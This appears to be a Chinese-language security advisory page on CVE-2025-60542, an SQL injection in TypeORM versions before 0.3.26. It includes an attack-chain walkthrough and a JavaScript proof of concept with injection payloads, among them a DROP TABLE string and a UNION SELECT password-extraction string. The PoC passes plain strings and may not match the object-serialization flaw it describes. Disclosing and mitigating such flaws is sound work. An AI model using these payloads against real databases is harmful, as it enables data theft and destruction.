IPBUF安全漏洞报告
English
CVE-2025-60542 CVSS 6.5 中危

CVE-2025-60542 TypeORM SQL注入漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-60542
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
TypeORM

相关标签

SQL注入TypeORMCVE-2025-60542Node.jsORM框架数据库安全对象序列化漏洞MySQLPostgreSQL

漏洞概述

CVE-2025-60542是TypeORM框架中的一个高危SQL注入漏洞,CVSS评分6.5,属于中等严重程度。该漏洞存在于TypeORM 0.3.26之前的版本中,攻击者可以通过精心构造的请求发送给repository.save或repository.update方法来实现SQL注入攻击。漏洞的根本原因在于sqlstring库的调用默认将stringifyObjects参数设置为false,导致对象序列化时未能正确转义特殊字符。TypeORM是一个流行的Node.js ORM框架,广泛用于MySQL、PostgreSQL、SQLite等多种数据库的应用程序中。由于该漏洞影响范围广泛,任何使用受影响版本TypeORM的Web应用都可能面临数据库被攻击的风险。攻击者一旦成功利用此漏洞,可以窃取敏感数据、修改数据库内容,甚至在某些情况下执行系统命令。该漏洞无需认证即可利用,这大大增加了其危害性。建议所有使用TypeORM的项目立即检查版本并采取相应的修复措施。

技术细节

该SQL注入漏洞的成因是TypeORM在处理数据库查询时,sqlstring库的stringifyObjects参数默认为false。当使用repository.save()或repository.update()方法时,如果传入的对象包含特殊构造的属性值,攻击者可以利用这一特性注入恶意SQL代码。具体来说,攻击者可以在保存或更新实体时,构造类似'; DROP TABLE users;--的字符串内容,由于对象序列化时未进行正确的转义处理,这些恶意内容会被直接拼接到SQL语句中。漏洞影响所有使用TypeORM进行数据库操作的应用,尤其是那些直接接收用户输入并传递给ORM方法的项目。攻击者可以通过API端点、表单提交或其他用户可控的输入渠道触发此漏洞。修复方案已在GitHub PR #11574中提出,并在0.3.26版本中实现,核心修复是将sqlstring调用时的stringifyObjects参数改为true,确保所有对象属性在序列化时都被正确转义。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用使用的TypeORM版本,确认版本低于0.3.26
STEP 2
步骤2: 漏洞探测
攻击者通过发送包含特殊字符的请求到使用repository.save()或repository.update()的API端点,探测是否存在SQL注入
STEP 3
步骤3: 构造恶意载荷
攻击者构造包含SQL注入代码的请求体,如在用户名字段注入"'; DROP TABLE users; --"
STEP 4
步骤4: 执行注入攻击
由于sqlstring的stringifyObjects默认为false,恶意SQL代码未经转义直接拼接到查询语句中执行
STEP 5
步骤5: 数据窃取或破坏
攻击者成功注入后可窃取数据库中的敏感信息、修改数据或删除表结构

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-60542 PoC - TypeORM SQL Injection // This PoC demonstrates SQL injection via repository.save() // Vulnerable versions: TypeORM < 0.3.26 const { DataSource } = require('typeorm'); // Initialize TypeORM datasource const dataSource = new DataSource({ type: 'mysql', host: 'localhost', port: 3306, username: 'root', password: 'password', database: 'testdb', entities: [User], }); // User entity definition class User { constructor() { this.id = undefined; this.username = ''; this.email = ''; } } async function exploitSQLInjection() { await dataSource.initialize(); const userRepository = dataSource.getRepository(User); // Malicious payload - SQL injection via username field // This payload attempts to comment out the rest of the query const maliciousUser = new User(); maliciousUser.username = "admin'; --"; maliciousUser.email = '[email protected]'; try { // This call becomes vulnerable when stringifyObjects is false const savedUser = await userRepository.save(maliciousUser); console.log('User saved:', savedUser); } catch (error) { console.error('Error:', error.message); } // More dangerous payload - attempting to extract data const dataExtractionPayload = new User(); dataExtractionPayload.username = "' UNION SELECT password FROM users WHERE '1'='1"; dataExtractionPayload.email = '[email protected]'; try { await userRepository.save(dataExtractionPayload); } catch (error) { console.log('SQL Injection detected in error:', error.message); } await dataSource.destroy(); } // Run the exploit // exploitSQLInjection(); // Mitigation: Upgrade to TypeORM 0.3.26 or later // npm install [email protected]

影响范围

TypeORM < 0.3.26

防御指南

临时缓解措施
如果无法立即升级TypeORM版本,可以采取以下临时缓解措施:1) 对所有传入repository.save()或repository.update()方法的数据进行严格的输入验证和SQL特殊字符转义;2) 使用ORM提供的参数化查询方法而非直接对象保存;3) 在应用层实现额外的输入过滤逻辑,过滤单引号、分号、UNION等SQL关键字;4) 限制数据库用户的权限,避免使用高权限账户连接数据库;5) 在API网关层实现请求体大小限制和特殊字符过滤。建议在完成这些缓解措施后,仍尽快升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表